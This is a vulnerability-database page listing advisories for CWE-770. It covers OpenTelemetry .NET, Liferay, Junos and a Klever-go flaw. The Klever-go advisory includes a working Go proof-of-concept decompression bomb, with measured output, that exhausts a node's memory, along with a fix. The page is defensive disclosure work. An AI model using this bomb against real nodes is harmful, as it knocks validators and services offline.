CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3010 vulnerabilities reference this CWE, most recent first.
GHSA-8785-WC3W-H8Q6
Vulnerability from github – Published: 2025-03-05 18:15 – Updated: 2025-03-05 21:54Impact
What kind of vulnerability is it? Who is impacted?
A vulnerability in OpenTelemetry.Api package 1.10.0 to 1.11.1 could cause a Denial of Service (DoS) when a tracestate and traceparent header is received.
- Even if an application does not explicitly use trace context propagation, receiving these headers can still trigger high CPU usage.
- This issue impacts any application accessible over the web or backend services that process HTTP requests containing a
tracestateheader. - Application may experience excessive resource consumption, leading to increased latency, degraded performance, or downtime.
Patches
Has the problem been patched? What versions should users upgrade to?
This issue has been resolved in OpenTelemetry.Api 1.11.2 by reverting the change that introduced the problematic behavior in versions 1.10.0 to 1.11.1.
Fixed Version:
OpenTelemetry .NET Version | Status -- | -- <= 1.9.x | ✅ Not affected 1.10.0 - 1.11.1 | ❌ Vulnerable 1.11.2 (Fixed) | ✅ Safe to useUpgrade Command:
dotnet add package OpenTelemetry --version 1.11.2
Delisting of Affected Packages To prevent accidental usage, we have delisted the affected versions (1.10.0 to 1.11.1) from NuGet. Users should avoid these versions and upgrade to 1.11.2 immediately.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
References
Are there any links users can visit to find out more?
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "OpenTelemetry.Api"
},
"ranges": [
{
"events": [
{
"introduced": "1.11.0"
},
{
"fixed": "1.11.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "OpenTelemetry.Api"
},
"versions": [
"1.10.0"
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "OpenTelemetry.Api"
},
"versions": [
"1.10.0-beta.1"
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "OpenTelemetry.Api"
},
"versions": [
"1.10.0-rc.1"
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "OpenTelemetry.Api"
},
"versions": [
"1.11.0-rc.1"
]
}
],
"aliases": [
"CVE-2025-27513"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-05T18:15:22Z",
"nvd_published_at": "2025-03-05T19:15:39Z",
"severity": "MODERATE"
},
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA vulnerability in `OpenTelemetry.Api` package `1.10.0` to `1.11.1` could cause a Denial of Service (DoS) when a `tracestate` and `traceparent` header is received.\n\n* Even if an application does not explicitly use trace context propagation, receiving these headers can still trigger high CPU usage.\n* This issue impacts any application accessible over the web or backend services that process HTTP requests containing a `tracestate` header.\n* Application may experience excessive resource consumption, leading to increased latency, degraded performance, or downtime.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nThis issue has been \u003cstrong data-start=\"1143\" data-end=\"1184\"\u003eresolved in OpenTelemetry.Api 1.11.2\u003c/strong\u003e by \u003cstrong data-start=\"1188\" data-end=\"1212\"\u003ereverting the change\u003c/strong\u003e that introduced the problematic behavior in versions \u003cstrong data-start=\"1266\" data-end=\"1286\"\u003e1.10.0 to 1.11.1\u003c/strong\u003e.\u003c/li\u003e\u003cli data-start=\"1290\" data-end=\"1409\"\u003eThe fix ensures that \u003cstrong data-start=\"1313\" data-end=\"1380\"\u003evalid tracing headers no longer cause excessive CPU consumption\u003c/strong\u003e when received in requests.\u003c/li\u003e\u003c/ul\u003e\u003ch4 data-start=\"1411\" data-end=\"1434\"\u003e\u003cstrong data-start=\"1416\" data-end=\"1434\"\u003eFixed Version:\u003c/strong\u003e\u003c/h4\u003e\nOpenTelemetry .NET Version | Status\n-- | --\n\u003c= 1.9.x | \u2705 Not affected\n1.10.0 - 1.11.1 | \u274c Vulnerable\n1.11.2 (Fixed) | \u2705 Safe to use\n\n**Upgrade Command:**\n\n```\ndotnet add package OpenTelemetry --version 1.11.2\n```\n\n**Delisting of Affected Packages**\nTo prevent accidental usage, we have delisted the affected versions (1.10.0 to 1.11.1) from NuGet. Users should avoid these versions and upgrade to 1.11.2 immediately.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### References\n_Are there any links users can visit to find out more?_",
"id": "GHSA-8785-wc3w-h8q6",
"modified": "2025-03-05T21:54:14Z",
"published": "2025-03-05T18:15:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-8785-wc3w-h8q6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27513"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet/pull/6161"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet/commit/1b555c1201413f2f55f2cd3c4ba03ef4b615b6b5"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenTelemetry .NET has Denial of Service (DoS) Vulnerability in API Package"
}
GHSA-87M3-6QJ3-P3XH
Vulnerability from github – Published: 2024-02-07 15:30 – Updated: 2024-10-02 18:38The Document and Media widget In Liferay Portal 7.2.0 through 7.3.6, and older unsupported versions, and Liferay DXP 7.3 before service pack 3, 7.2 before fix pack 13, and older unsupported versions, does not limit resource consumption when generating a preview image, which allows remote authenticated users to cause a denial of service (memory consumption) via crafted PNG images.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay.portal:release.portal.bom"
},
"ranges": [
{
"events": [
{
"introduced": "7.2.0"
},
{
"fixed": "7.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-25143"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-07T19:32:22Z",
"nvd_published_at": "2024-02-07T15:15:08Z",
"severity": "HIGH"
},
"details": "The Document and Media widget In Liferay Portal 7.2.0 through 7.3.6, and older unsupported versions, and Liferay DXP 7.3 before service pack 3, 7.2 before fix pack 13, and older unsupported versions, does not limit resource consumption when generating a preview image, which allows remote authenticated users to cause a denial of service (memory consumption) via crafted PNG images.",
"id": "GHSA-87m3-6qj3-p3xh",
"modified": "2024-10-02T18:38:12Z",
"published": "2024-02-07T15:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25143"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/commit/29b73b9b896c7d44fb5d1800a402698c303d1cf6"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/commit/4381c10ad0722b3b00c3e3567b68538ab0994145"
},
{
"type": "PACKAGE",
"url": "https://github.com/liferay/liferay-portal"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/releases/tag/7.3.7-ga8"
},
{
"type": "WEB",
"url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2024-25143"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Liferay Portal denial of service (memory consumption)"
}
GHSA-87M7-2H74-HHR6
Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-05-24 19:17On MX Series platforms with MS-MPC/MS-MIC, an Allocation of Resources Without Limits or Throttling vulnerability in Juniper Networks Junos OS allows an unauthenticated network attacker to cause a partial Denial of Service (DoS) with a high rate of specific traffic. If a Class of Service (CoS) rule is attached to the service-set and a high rate of specific traffic is processed by this service-set, for some of the other traffic which has services applied and is being processed by this MS-MPC/MS-MIC drops will be observed. Continued receipted of this high rate of specific traffic will create a sustained Denial of Service (DoS) condition. This issue affects: Juniper Networks Junos OS on MX Series with MS-MPC/MS-MIC: All versions prior to 17.4R3-S5; 18.3 versions prior to 18.3R3-S5; 18.4 versions prior to 18.4R3-S9; 19.1 versions prior to 19.1R3-S6; 19.2 versions prior to 19.2R1-S7, 19.2R3-S3; 19.3 versions prior to 19.3R2-S7, 19.3R3-S3; 19.4 versions prior to 19.4R3-S5; 20.1 versions prior to 20.1R2-S2, 20.1R3-S1; 20.2 versions prior to 20.2R3-S2; 20.3 versions prior to 20.3R3; 20.4 versions prior to 20.4R2-S1, 20.4R3; 21.1 versions prior to 21.1R1-S1, 21.1R2.
{
"affected": [],
"aliases": [
"CVE-2021-31369"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-19T19:15:00Z",
"severity": "MODERATE"
},
"details": "On MX Series platforms with MS-MPC/MS-MIC, an Allocation of Resources Without Limits or Throttling vulnerability in Juniper Networks Junos OS allows an unauthenticated network attacker to cause a partial Denial of Service (DoS) with a high rate of specific traffic. If a Class of Service (CoS) rule is attached to the service-set and a high rate of specific traffic is processed by this service-set, for some of the other traffic which has services applied and is being processed by this MS-MPC/MS-MIC drops will be observed. Continued receipted of this high rate of specific traffic will create a sustained Denial of Service (DoS) condition. This issue affects: Juniper Networks Junos OS on MX Series with MS-MPC/MS-MIC: All versions prior to 17.4R3-S5; 18.3 versions prior to 18.3R3-S5; 18.4 versions prior to 18.4R3-S9; 19.1 versions prior to 19.1R3-S6; 19.2 versions prior to 19.2R1-S7, 19.2R3-S3; 19.3 versions prior to 19.3R2-S7, 19.3R3-S3; 19.4 versions prior to 19.4R3-S5; 20.1 versions prior to 20.1R2-S2, 20.1R3-S1; 20.2 versions prior to 20.2R3-S2; 20.3 versions prior to 20.3R3; 20.4 versions prior to 20.4R2-S1, 20.4R3; 21.1 versions prior to 21.1R1-S1, 21.1R2.",
"id": "GHSA-87m7-2h74-hhr6",
"modified": "2022-05-24T19:17:53Z",
"published": "2022-05-24T19:17:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31369"
},
{
"type": "WEB",
"url": "https://kb.juniper.net/JSA11231"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-87M7-QFFR-542V
Vulnerability from github – Published: 2026-05-13 01:36 – Updated: 2026-05-29 21:57Summary
A remote, unauthenticated denial-of-service vulnerability in
Batch.Decompress (data/batch/batch.go) allows any peer that
participates in a topic served by MultiDataInterceptor to allocate
multi-gigabyte heaps on the receiving node from a sub-50 KiB gossip
payload. A single packet is sufficient to OOM-kill a validator with
conventional memory provisioning. Fleet-wide application affects chain
liveness.
The vulnerability was identified during an internal security review of
core/process/interceptors/multiDataInterceptor.go at commit
405d01b0abbf0d3e73b4a990bd7394a01f200dc2. It is distinct from, and
substantially more severe than, the throttler-slot-leak vulnerability
disclosed in GHSA-74m6-4hjp-7226. Both reports cover adjacent code in
the same call path; the patches must land together in one release
(rc2 superseding rc1).
Two additional, lower-severity hardening issues affecting the same code path are documented in this report and remediated by the same patch. They are not independently exploitable under the default deployed anti-flood configuration and are not requested as separate CVEs.
Description
MultiDataInterceptor.ProcessReceivedMessage
(core/process/interceptors/multiDataInterceptor.go:79) handles every
gossip message received on the topics the interceptor is registered for.
At lines 95–102 it conditionally decompresses the payload via
Batch.Decompress:
if b.IsCompressed {
err = b.Decompress(mdi.marshalizer)
if err != nil { ... return err }
}
Batch.Decompress (data/batch/batch.go:109) delegates the gzip step to
decompressGzip (data/batch/batch.go:35-53), which performs an
unbounded io.ReadAll on the gzip reader:
func decompressGzip(data []byte) ([]byte, error) {
rdata := bytes.NewReader(data)
reader, err := gzip.NewReader(rdata)
if err != nil { return nil, err }
result, err := io.ReadAll(reader) // no LimitReader, no DataSize check
...
}
After the gzip step succeeds, Decompress re-Unmarshals the inflated
bytes back into the Batch value, again with no size cap. The
attacker-set ba.DataSize field is never validated on decompression, so
the lie is free.
The order of operations in ProcessReceivedMessage:
preProcessMessage -> anti-flood by COMPRESSED size only
marshalizer.Unmarshal(&b, ..) -> outer Batch (small, cheap)
b.Decompress(...) -> UNBOUNDED here (bomb explodes)
... b.Data populated with N entries ...
antiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...)
The count-budget anti-flood check at line 111 runs after Decompress
completes, so no anti-flood configuration can prevent the explosion. The
only gate above Decompress is preProcessMessage's byte budget, which
sees only the compressed payload size and is trivially satisfied by a
sub-MB bomb.
Proof of Concept
The PoC is a self-contained Go test that exercises the real
data/batch.Batch.Decompress function and the production
factory.ProtoMarshalizer. No mocks. Both the attacker-side construction
(marshal a Batch of millions of empty entries, gzip, wrap in an outer
compressed Batch) and the receiver-side path (mrs.Unmarshal →
received.Decompress(mrs)) are exactly what runs in production at the
reviewed commit.
The headline test (TestC2_DecompressionBomb_ValidInner) constructs a
~48 KiB outer wire payload that decompresses to 25 million []byte
entries, and samples runtime.HeapAlloc every 5 ms during Decompress
to capture the peak (since the inflated buffer is freed once Decompress
returns).
Test source
Place the file under playground/p2pflood/c2_decompression_bomb_test.go
in a checkout of the reviewed commit, then run:
go test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/...
package p2pflood_test
import (
"bytes"
"compress/gzip"
"runtime"
"sync/atomic"
"testing"
"time"
"github.com/klever-io/klever-go/data/batch"
"github.com/klever-io/klever-go/tools/marshal/factory"
)
const inflatedSize = 256 << 20 // 256 MiB
// buildGzipOfZeros: streams `size` zero bytes through a gzip writer.
// A real attacker produces this offline; the streaming form here keeps
// the test's own attacker-side allocation small.
func buildGzipOfZeros(t *testing.T, size int) []byte {
t.Helper()
var buf bytes.Buffer
gz := gzip.NewWriter(&buf)
chunk := make([]byte, 1<<20)
for written := 0; written < size; {
n := len(chunk)
if size-written < n {
n = size - written
}
if _, err := gz.Write(chunk[:n]); err != nil {
t.Fatalf("gzip write: %v", err)
}
written += n
}
if err := gz.Close(); err != nil {
t.Fatalf("gzip close: %v", err)
}
return buf.Bytes()
}
// peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and
// returns (peak, baseline). In-flight sampling is required because
// Decompress's internal allocations may be reclaimed by GC before the
// function returns.
func peakHeapDuring(fn func()) (peak, baseline uint64) {
runtime.GC()
var ms runtime.MemStats
runtime.ReadMemStats(&ms)
baseline = ms.HeapAlloc
var stop atomic.Bool
peakPtr := new(atomic.Uint64)
peakPtr.Store(baseline)
done := make(chan struct{})
go func() {
ticker := time.NewTicker(5 * time.Millisecond)
defer ticker.Stop()
var s runtime.MemStats
for !stop.Load() {
runtime.ReadMemStats(&s)
cur := s.HeapAlloc
for {
old := peakPtr.Load()
if cur <= old || peakPtr.CompareAndSwap(old, cur) {
break
}
}
<-ticker.C
}
close(done)
}()
fn()
stop.Store(true)
<-done
return peakPtr.Load(), baseline
}
// TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration.
// All-zeros inflated payload; inner Unmarshal-after-decompress fails,
// but the gzip output buffer is already allocated.
func TestC2_DecompressionBomb_RawZeros(t *testing.T) {
mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)
if err != nil {
t.Fatalf("marshalizer: %v", err)
}
bombStream := buildGzipOfZeros(t, inflatedSize)
bomb := &batch.Batch{
IsCompressed: true,
Algo: batch.CType_GZip,
Stream: bombStream,
DataSize: 1, // a lie — Decompress ignores it
}
wire, err := mrs.Marshal(bomb)
if err != nil {
t.Fatalf("marshal: %v", err)
}
t.Logf(" wire payload (after Marshal): %d bytes (%.2f KiB)",
len(wire), float64(len(wire))/1024.0)
t.Logf(" advertised DataSize: %d", bomb.DataSize)
t.Logf(" actual decompressed size: %d bytes (%.2f MiB)",
inflatedSize, float64(inflatedSize)/(1<<20))
bomb = nil
bombStream = nil
runtime.GC()
received := &batch.Batch{}
if err := mrs.Unmarshal(received, wire); err != nil {
t.Fatalf("receiver outer unmarshal: %v", err)
}
if !received.IsCompressed {
t.Fatalf("expected IsCompressed=true after outer unmarshal")
}
start := time.Now()
var decompressErr error
peak, baseline := peakHeapDuring(func() {
decompressErr = received.Decompress(mrs)
})
elapsed := time.Since(start)
allocated := peak - baseline
amp := float64(allocated) / float64(len(wire))
t.Logf(" Decompress error: %v (irrelevant — heap already allocated)", decompressErr)
t.Logf(" peak heap during Decompress: +%d bytes (%.2f MiB)",
allocated, float64(allocated)/(1<<20))
t.Logf(" elapsed: %v", elapsed)
t.Logf(" amplification: %.0fx (wire -> heap)", amp)
if allocated < uint64(inflatedSize/2) {
t.Fatalf("heap delta only %.2f MiB — vuln may already be patched",
float64(allocated)/(1<<20))
}
if amp < 100 {
t.Fatalf("amplification only %.1fx — expected >>100x", amp)
}
}
// TestC2_DecompressionBomb_ValidInner: realistic ceiling — gzip stream
// decompresses to a valid marshaled Batch with N=25M empty entries.
// Decompress's internal Unmarshal succeeds and additionally allocates
// the [][]byte slice. All before any count-based anti-flood runs.
func TestC2_DecompressionBomb_ValidInner(t *testing.T) {
mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)
if err != nil {
t.Fatalf("marshalizer: %v", err)
}
const N = 25_000_000
innerBatch := &batch.Batch{Data: make([][]byte, N)}
innerWire, err := mrs.Marshal(innerBatch)
if err != nil {
t.Fatalf("inner marshal: %v", err)
}
innerBatch = nil
runtime.GC()
var compressed bytes.Buffer
gz := gzip.NewWriter(&compressed)
if _, err := gz.Write(innerWire); err != nil {
t.Fatalf("gz write: %v", err)
}
if err := gz.Close(); err != nil {
t.Fatalf("gz close: %v", err)
}
innerWireLen := len(innerWire)
innerWire = nil
runtime.GC()
bomb := &batch.Batch{
IsCompressed: true,
Algo: batch.CType_GZip,
Stream: compressed.Bytes(),
DataSize: 1,
}
wire, err := mrs.Marshal(bomb)
if err != nil {
t.Fatalf("outer marshal: %v", err)
}
t.Logf(" inner wire (uncompressed): %d bytes (%.2f MiB)",
innerWireLen, float64(innerWireLen)/(1<<20))
t.Logf(" outer wire (gzip-wrapped): %d bytes (%.2f KiB)",
len(wire), float64(len(wire))/1024.0)
t.Logf(" inner -> outer compression: %.0fx",
float64(innerWireLen)/float64(len(wire)))
bomb = nil
compressed.Reset()
runtime.GC()
received := &batch.Batch{}
if err := mrs.Unmarshal(received, wire); err != nil {
t.Fatalf("receiver outer unmarshal: %v", err)
}
start := time.Now()
var decompressErr error
peak, baseline := peakHeapDuring(func() {
// Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the
// count-budget anti-flood at line 111.
decompressErr = received.Decompress(mrs)
})
elapsed := time.Since(start)
allocated := peak - baseline
amp := float64(allocated) / float64(len(wire))
t.Logf(" Decompress returned: %v", decompressErr)
t.Logf(" Decompressed b.Data length: %d (matches N=%d? %v)",
len(received.Data), N, len(received.Data) == N)
t.Logf(" peak heap during Decompress: +%d bytes (%.2f MiB)",
allocated, float64(allocated)/(1<<20))
t.Logf(" elapsed: %v", elapsed)
t.Logf(" amplification: %.0fx (wire -> heap)", amp)
if decompressErr != nil {
t.Fatalf("Decompress unexpectedly failed: %v", decompressErr)
}
if len(received.Data) != N {
t.Fatalf("inner Unmarshal lost entries: got %d want %d",
len(received.Data), N)
}
if allocated < 256<<20 {
t.Fatalf("heap delta only %.2f MiB — expected >256 MiB",
float64(allocated)/(1<<20))
}
runtime.KeepAlive(received)
}
Measured output
Apple-silicon dev machine, go 1.25, against commit
405d01b0abbf0d3e73b4a990bd7394a01f200dc2:
=== RUN TestC2_DecompressionBomb_RawZeros
wire payload (after Marshal): 260938 bytes (254.82 KiB)
advertised DataSize: 1
actual decompressed size: 268435456 bytes (256.00 MiB)
Decompress error: proto: cannot parse invalid wire-format data (irrelevant — heap already allocated)
peak heap during Decompress: +887994584 bytes (846.86 MiB)
elapsed: 155.79ms
amplification: 3403x (wire -> heap)
--- PASS: TestC2_DecompressionBomb_RawZeros (0.52s)
=== RUN TestC2_DecompressionBomb_ValidInner
inner wire (uncompressed): 50000000 bytes (47.68 MiB)
outer wire (gzip-wrapped): 48642 bytes (47.50 KiB)
inner -> outer compression: 1028x
Decompress returned: <nil>
Decompressed b.Data length: 25000000 (matches N=25000000? true)
peak heap during Decompress: +2218262232 bytes (2115.50 MiB)
elapsed: 582.92ms
amplification: 45604x (wire -> heap)
--- PASS: TestC2_DecompressionBomb_ValidInner (0.75s)
Reproduction: any commit that includes data/batch/batch.go in its
current decompressGzip/Decompress form. The PoC does not depend on
libp2p, the live interceptor stack, or any deployed configuration — the
bug is in Batch.Decompress itself; any caller that reaches it pays
for the unbounded allocation.
The PoC sources (along with a companion test for the bundled
slice-prealloc finding) live under playground/p2pflood/ on the
maintainer's local workstation and have not been pushed to any branch.
They will be converted into a regression-test suite alongside the patch
in the private fork.
Impact
A single connected peer publishing on a topic served by
MultiDataInterceptor (which on a public chain includes any anonymous
gossip publisher) can cause the receiving node to allocate 2+ GiB of
heap in under one second per packet.
With the default deployed configuration
(peerMaxInput.totalSizePerInterval: 4194304 = 4 MiB/s per peer), an
attacker can ship roughly 80 such bombs per second per connected peer
before tripping the per-peer byte budget. The per-peer message count
limit (baseMessagesPerInterval: 140 per fastReacting interval, 1000
before blacklisting) is high enough to permit the attack to run for
several seconds before any blacklist activates. By that point the node
process is already OOM-killed.
Realistic attack scenarios:
- A single attacker connected to one validator can OOM that validator in under a second (one bomb suffices on memory-constrained nodes).
- A small number of malicious peers spread across the validator fleet can OOM the entire fleet within a single block-production interval, affecting chain liveness.
- Eclipse-attack composition: the cost is paid before any peer reputation logic runs, so the attack works regardless of whether the receiver attributes the message to originator or relayer.
Affected Code
data/batch/batch.go:35-53—decompressGzip, unboundedio.ReadAlldata/batch/batch.go:109-137—Batch.Decompress, ignoresDataSize, re-Unmarshals inflated bytescore/process/interceptors/multiDataInterceptor.go:95-102— call sitecore/process/interceptors/multiDataInterceptor.go:84-94— precedingUnmarshalstep
Patches
A patch is in preparation on a private branch and will land in rc2,
together with the fix for GHSA-74m6-4hjp-7226. The intended fix
shape:
const maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic
func decompressGzip(data []byte, max int64) ([]byte, error) {
r, err := gzip.NewReader(bytes.NewReader(data))
if err != nil { return nil, err }
defer r.Close()
lr := io.LimitReader(r, max+1)
out, err := io.ReadAll(lr)
if err != nil { return nil, err }
if int64(len(out)) > max {
return nil, ErrDecompressionTooLarge
}
return out, nil
}
func (ba *Batch) Decompress(m marshal.Marshalizer) error {
if !ba.IsCompressed { return common.ErrNotCompressed }
if ba.DataSize > maxInflatedBatch {
return ErrDecompressionTooLarge
}
result, err := decompressGzip(ba.Stream, maxInflatedBatch)
if err != nil { return err }
if int64(len(result)) != int64(ba.DataSize) && ba.DataSize > 0 {
return ErrDecompressedSizeMismatch
}
if err := m.Unmarshal(ba, result); err != nil { return err }
ba.Stream, ba.IsCompressed = nil, false
return nil
}
The cap value should be selected per topic. A 64 MiB ceiling preserves backward compatibility for legitimate large batches while reducing the worst-case allocation by ≈30× relative to the measured PoC and ≈400× relative to the upper bound of an uncapped attack.
A regression test based on the PoC will accompany the patch.
Workarounds
None at the configuration level. The peerMaxInput.totalSizePerInterval
budget could theoretically be lowered, but as the PoC measurements show,
a single bomb is already lethal on memory-constrained nodes. Patch is
required.
Bundled Hardening (no separate CVE)
The following two issues were identified in the same call path during
the review. They are not independently exploitable under the default
deployed defaultMaxMessagesPerSec: 35000 per-topic anti-flood limit
and so do not warrant their own CVEs. They are remediated by the same
patch as the headline vulnerability and are documented here for
transparency.
Bundled #1 — Slice pre-allocation amplification (CWE-789, CWE-770)
multiDataInterceptor.go:123 performs:
listInterceptedData := make([]process.InterceptedData, len(multiDataBuff))
len(multiDataBuff) is len(b.Data) after Unmarshal and Decompress,
both of which are attacker-controlled. Under the default per-topic
count budget this is bounded; a deployer who loosens that budget, or
any future code path that bypasses it, would expose ≈16 bytes ×
attacker-chosen-N of allocation. The same patch caps len(b.Data)
immediately after Unmarshal, again after Decompress, and before the
make.
The unconditional component of this finding — that Decompress's
internal Unmarshal populates b.Data with N []byte slice headers
(24 B each) before any count-budget check runs — is captured by the
headline finding's PoC.
Bundled #2 — Self-message anti-flood bypass (CWE-290, CWE-693)
baseDataInterceptor.go:32 exempts messages from anti-flood enforcement
when:
bytes.Equal(m.Signature(), m.From()) &&
bytes.Equal(m.From(), bdi.currentPeerID.Bytes()) &&
fromConnectedPeer == bdi.currentPeerID
The first equality is a sentinel byte comparison, not a cryptographic
check. Exploitability depends on whether the upstream libp2p stack
verifies envelope signatures before reaching preProcessMessage. The
patch replaces the sentinel with a defense-in-depth check and ensures
throttler accounting still runs on the self-message path.
Coordination with GHSA-74m6-4hjp-7226
The maintainer team is concurrently handling GHSA-74m6-4hjp-7226,
which discloses an adjacent throttler-slot-leak finding in the same
ProcessReceivedMessage function. The two CVEs are independently
fixable per CNA Operational Rules, but operationally the patches must
land in one release. rc2 will supersede rc1 and contain fixes for both
advisories. Validators upgrade once.
Credits
Fernando Sobreira (maintainer, internal security review).
References
- Reviewed commit:
405d01b0abbf0d3e73b4a990bd7394a01f200dc2 - Related advisory:
GHSA-74m6-4hjp-7226 - CWE-409: https://cwe.mitre.org/data/definitions/409.html
- CWE-770: https://cwe.mitre.org/data/definitions/770.html
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/klever-io/klever-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.7.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44697"
],
"database_specific": {
"cwe_ids": [
"CWE-409",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-13T01:36:27Z",
"nvd_published_at": "2026-05-29T18:17:09Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA remote, unauthenticated denial-of-service vulnerability in\n`Batch.Decompress` (`data/batch/batch.go`) allows any peer that\nparticipates in a topic served by `MultiDataInterceptor` to allocate\nmulti-gigabyte heaps on the receiving node from a sub-50 KiB gossip\npayload. A single packet is sufficient to OOM-kill a validator with\nconventional memory provisioning. Fleet-wide application affects chain\nliveness.\n\nThe vulnerability was identified during an internal security review of\n`core/process/interceptors/multiDataInterceptor.go` at commit\n`405d01b0abbf0d3e73b4a990bd7394a01f200dc2`. It is distinct from, and\nsubstantially more severe than, the throttler-slot-leak vulnerability\ndisclosed in `GHSA-74m6-4hjp-7226`. Both reports cover adjacent code in\nthe same call path; the patches must land together in one release\n(rc2 superseding rc1).\n\nTwo additional, lower-severity hardening issues affecting the same code\npath are documented in this report and remediated by the same patch.\nThey are not independently exploitable under the default deployed\nanti-flood configuration and are not requested as separate CVEs.\n\n## Description\n\n`MultiDataInterceptor.ProcessReceivedMessage`\n(`core/process/interceptors/multiDataInterceptor.go:79`) handles every\ngossip message received on the topics the interceptor is registered for.\nAt lines 95\u2013102 it conditionally decompresses the payload via\n`Batch.Decompress`:\n\n```go\nif b.IsCompressed {\n err = b.Decompress(mdi.marshalizer)\n if err != nil { ... return err }\n}\n```\n\n`Batch.Decompress` (`data/batch/batch.go:109`) delegates the gzip step to\n`decompressGzip` (`data/batch/batch.go:35-53`), which performs an\nunbounded `io.ReadAll` on the gzip reader:\n\n```go\nfunc decompressGzip(data []byte) ([]byte, error) {\n rdata := bytes.NewReader(data)\n reader, err := gzip.NewReader(rdata)\n if err != nil { return nil, err }\n result, err := io.ReadAll(reader) // no LimitReader, no DataSize check\n ...\n}\n```\n\nAfter the gzip step succeeds, `Decompress` re-`Unmarshal`s the inflated\nbytes back into the `Batch` value, again with no size cap. The\nattacker-set `ba.DataSize` field is never validated on decompression, so\nthe lie is free.\n\nThe order of operations in `ProcessReceivedMessage`:\n\n```\npreProcessMessage -\u003e anti-flood by COMPRESSED size only\nmarshalizer.Unmarshal(\u0026b, ..) -\u003e outer Batch (small, cheap)\nb.Decompress(...) -\u003e UNBOUNDED here (bomb explodes)\n... b.Data populated with N entries ...\nantiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...)\n```\n\nThe count-budget anti-flood check at line 111 runs *after* `Decompress`\ncompletes, so no anti-flood configuration can prevent the explosion. The\nonly gate above `Decompress` is `preProcessMessage`\u0027s byte budget, which\nsees only the *compressed* payload size and is trivially satisfied by a\nsub-MB bomb.\n\n## Proof of Concept\n\nThe PoC is a self-contained Go test that exercises the real\n`data/batch.Batch.Decompress` function and the production\n`factory.ProtoMarshalizer`. No mocks. Both the attacker-side construction\n(marshal a `Batch` of millions of empty entries, gzip, wrap in an outer\ncompressed `Batch`) and the receiver-side path (`mrs.Unmarshal` \u2192 \n`received.Decompress(mrs)`) are exactly what runs in production at the\nreviewed commit.\n\nThe headline test (`TestC2_DecompressionBomb_ValidInner`) constructs a\n~48 KiB outer wire payload that decompresses to 25 million `[]byte`\nentries, and samples `runtime.HeapAlloc` every 5 ms during `Decompress`\nto capture the peak (since the inflated buffer is freed once `Decompress`\nreturns).\n\n### Test source\n\nPlace the file under `playground/p2pflood/c2_decompression_bomb_test.go`\nin a checkout of the reviewed commit, then run:\n\n```\ngo test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/...\n```\n\n```go\npackage p2pflood_test\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"runtime\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/klever-io/klever-go/data/batch\"\n\t\"github.com/klever-io/klever-go/tools/marshal/factory\"\n)\n\nconst 